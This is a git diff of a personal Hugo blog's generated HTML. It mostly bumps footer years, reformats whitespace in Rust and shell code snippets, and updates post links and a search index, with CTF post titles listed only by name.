<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
<a href=https://lavafroth.is-a.dev/tags/windows class=list-tag>Windows</a>
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
<a class=post-link aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/></a></article><article><a aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><h2>Notepad</h2></a><time>Feb 21, 2022 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
@@ -10,4 +15,4 @@
<a class=post-link aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/></a></article><article><a aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><h2>Gadgeting in Python Jails</h2></a><time>Dec 9, 2021 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a>
<a class=post-link aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/></a></article><nav data-main><a href=../../page/5/>Previous Page</a>
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -1 +1 @@
{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_3cbf2253331fd","wasm":"en-us","page_count":59}}}
{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_56fbca3d5e149","wasm":"en-us","page_count":56}}}

Binary file not shown.

View File

@@ -63,4 +63,4 @@ and the Rust project <a href=https://github.com/lavafroth/hm>here</a>.</p><p>Unt
<a href=https://lavafroth.is-a.dev/tags/youtube class=list-tag>YouTube</a>
<a href=https://lavafroth.is-a.dev/tags/animation class=list-tag>Animation</a>
<a href=https://lavafroth.is-a.dev/tags/manim class=list-tag>Manim</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/keep-the-keys-clackin/><span></span><span>Keep the Keys Clackin'</span></a>
<a href=https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/><span>A SWEET Little Parser</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/><span>A SWEET Little Parser</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -64,4 +64,4 @@ The demo repo called <a href=https://github.com/lavafroth/sweet>sweet</a> (simpl
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/><span></span><span>2 Afternoons, 2 Languages, 2 TUIs</span></a>
<a href=https://lavafroth.is-a.dev/post/wayland-tools-rock/><span>Wayland Tools Rock!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/wayland-tools-rock/><span>Wayland Tools Rock!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -38,4 +38,4 @@ if it isn&rsquo;t already. That&rsquo;s it!</p><p>Sysadmins need not apply.</p><
<a href=https://lavafroth.is-a.dev/tags/automation class=list-tag>Automation</a>
<a href=https://lavafroth.is-a.dev/tags/jellyfin class=list-tag>Jellyfin</a>
<a href=https://lavafroth.is-a.dev/tags/photoprism class=list-tag>Photoprism</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/><span></span><span>PicoCTF SansAlpha Writeup</span></a>
<a href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><span>NixOS Secureboot Shenanigans</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><span>NixOS Secureboot Shenanigans</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -52,9 +52,9 @@ channel.</li></ul><p>The macro would use the <code>quote!</code> macro to genera
variant like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#a6e22e>quote!</span>(
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> #enum_ident {
</span></span><span style=display:flex><span> <span style=color:#75715e>// loop over the arms in the macro call
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> #variant(#inner) <span style=color:#f92672>=&gt;</span> #inner_chan_tx.send(#inner);
</span></span></span><span style=display:flex><span> #variant(#inner) <span style=color:#f92672>=&gt;</span> #inner_chan_tx.send(#inner);
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> }
</span></span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>)
</span></span></code></pre></div><p>Using the match statement inside the generated code allows the default exhaustive
checking of the variants. Programmers have the choice to explicitly opt out of
@@ -75,4 +75,4 @@ and determine when it is ready to be sent off to the next layer.</p><h1 id=concl
Hopefully, this makes the application code easier to understand and debug by making (even the concurrent) code flow in a more linear fashion.</p><p>That&rsquo;s all for now. Bye!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
<a href=https://lavafroth.is-a.dev/tags/concurrency class=list-tag>Concurrency</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/><span></span><span>Kringlecon 2023 Writeup</span></a>
<a href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><span>Headache</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><span>Headache</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -208,4 +208,5 @@ enums also play nicely with static type checkers, <em>goto-definitions</em> will
lead you to the correct class definition.</p><p>I have packaged this decorator with a couple more typing restrictions into a library at <a href=https://github.com/lavafroth/ape>github:lavafroth/ape</a>.</p><p>I hope you enjoyed this foray into contorting Python.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/decorators class=list-tag>Decorators</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a></footer><nav data-post><br><a href=https://lavafroth.is-a.dev/post/nixos-notes-to-self/><span>NixOS Notes to Self</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><span></span><span>Working With LUKS File Stashes</span></a>
<a href=https://lavafroth.is-a.dev/post/nixos-notes-to-self/><span>NixOS Notes to Self</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -50,4 +50,4 @@ see you around!</p></section><footer class=post-tags data-pagefind-meta=tags><a
<a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/android class=list-tag>Android</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/wayland-tools-rock/><span></span><span>Wayland Tools Rock!</span></a>
<a href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/><span>Kringlecon 2023 Writeup</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/><span>Kringlecon 2023 Writeup</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -22,4 +22,4 @@ I started using Lawnchair as my default launcher but this did not change the rec
<a href=https://lavafroth.is-a.dev/tags//e/os class=list-tag>/e/OS</a>
<a href=https://lavafroth.is-a.dev/tags/quickswitch class=list-tag>QuickSwitch</a>
<a href=https://lavafroth.is-a.dev/tags/quickstep class=list-tag>QuickStep</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/nixos-notes-to-self/><span></span><span>NixOS Notes to Self</span></a>
<a href=https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/><span>Easy grep to detect stripped Go binaries</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/><span>Easy grep to detect stripped Go binaries</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -58,4 +58,4 @@ we can now reverse this transformation by <strong>xor</strong>ing them back with
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><span></span><span>Headache</span></a>
<a href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><span>Volcano</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><span>Volcano</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -70,10 +70,10 @@ to use the default bash.</p><h2 id=the-flake>The flake</h2><div class=highlight>
</span></span><span style=display:flex><span> }
</span></span></code></pre></div><blockquote><p><em>Note:</em> This is <em>NOT</em> the same as containers. The most obvious way to tell is because
you can access your NVIDIA GPU as is, without any passthrough shenanigans.</p></blockquote><p>Enter this flake development environment using <code>nix develop</code>.</p><h1 id=setting-up-pytorch>Setting up PyTorch</h1><p>Now that we have the scaffolding, we can use <code>micromamba</code> to install CUDA for our ML tooling.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>micromamba env create <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -n my-environment <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> anaconda::cudatoolkit <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> anaconda::cudnn <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> <span style=color:#e6db74>&#34;anaconda::pytorch=*=*cuda*&#34;</span>
</span></span></span><span style=display:flex><span> -n my-environment <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> anaconda::cudatoolkit <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> anaconda::cudnn <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;anaconda::pytorch=*=*cuda*&#34;</span>
</span></span></code></pre></div><p>Here I&rsquo;m creating an environment called <code>my-environment</code> with <code>cudatoolkit</code>, <code>cudnn</code> and PyTorch. While installing PyTorch, make sure to
pick a version whose name contains &ldquo;cuda&rdquo; like I did here, otherwise, it defaults to the CPU version.</p><p>You can also define a <code>micromamba</code> environment with a config file. Read more about it <a href=https://conda.io/projects/conda/en/latest/user-guide/manage-environments.html>here</a>.</p><p>Once the env gets created, use <code>micromamba activate my-environment</code> to hop right in. Profit!</p><h1 id=conclusion>Conclusion</h1><p>Although this is not the Nix way of doing things, with micromamba being imeperative, this is probably the quickest
and most hassle free experience to start ML stuff on NixOS. I&rsquo;ve seen quite a lot of friends giving up on NixOS because of how annoying closed source libraries like CUDA can be.</p><p>Share this article around if you found this hacky approach to have improved your developer experience. I&rsquo;m banking on open source alternatives to pick up steam
@@ -85,4 +85,4 @@ so that hopefully this article becomes irrelevant in the future.</p><p>Bye now.<
<a href=https://lavafroth.is-a.dev/tags/nvidia class=list-tag>NVIDIA</a>
<a href=https://lavafroth.is-a.dev/tags/cuda class=list-tag>CUDA</a>
<a href=https://lavafroth.is-a.dev/tags/rant class=list-tag>Rant</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><span></span><span>Wrapping up GSoC 2024</span></a>
<a href=https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/><span>How I Use SWHKD in My Workflow</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/><span>How I Use SWHKD in My Workflow</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -8,4 +8,4 @@ An environment variable that all Go programs recognize, you say? I had a sneakin
</span></span></code></pre></div><p>Ok bye.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/go class=list-tag>Go</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engieering class=list-tag>Reverse Engieering</a>
<a href=https://lavafroth.is-a.dev/tags/til class=list-tag>TIL</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span></span><span>Guide: Changing Recents Provider on /e/OS</span></a>
<a href=https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/><span>Need a hand?</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/><span>Need a hand?</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -5,4 +5,4 @@ Context aware autocompletes happen when the model watches your code so it can su
<a href=https://lavafroth.is-a.dev/tags/ai class=list-tag>AI</a>
<a href=https://lavafroth.is-a.dev/tags/rant class=list-tag>Rant</a>
<a href=https://lavafroth.is-a.dev/tags/copilot class=list-tag>Copilot</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/><span></span><span>Easy grep to detect stripped Go binaries</span></a>
<a href=https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/><span>In search of the smallest DNA complement function</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/><span>In search of the smallest DNA complement function</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -40,7 +40,7 @@ them.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-col
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> s;
</span></span><span style=display:flex><span> };
</span></span><span style=display:flex><span> <span style=color:#75715e>// Pest guarantees this for us. Still keeping a bit of sanity check.
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#a6e22e>assert!</span>(<span style=color:#a6e22e>matches!</span>(ch, <span style=color:#e6db74>&#39;{&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;}&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;,&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;\\&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;-&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;+&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;~&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;@&#39;</span>));
</span></span></span><span style=display:flex><span> <span style=color:#a6e22e>assert!</span>(<span style=color:#a6e22e>matches!</span>(ch, <span style=color:#e6db74>&#39;{&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;}&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;,&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;\\&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;-&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;+&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;~&#39;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#39;@&#39;</span>));
</span></span><span style=display:flex><span> <span style=color:#f92672>&amp;</span>s[<span style=color:#ae81ff>1</span><span style=color:#f92672>..</span>]
</span></span><span style=display:flex><span>}
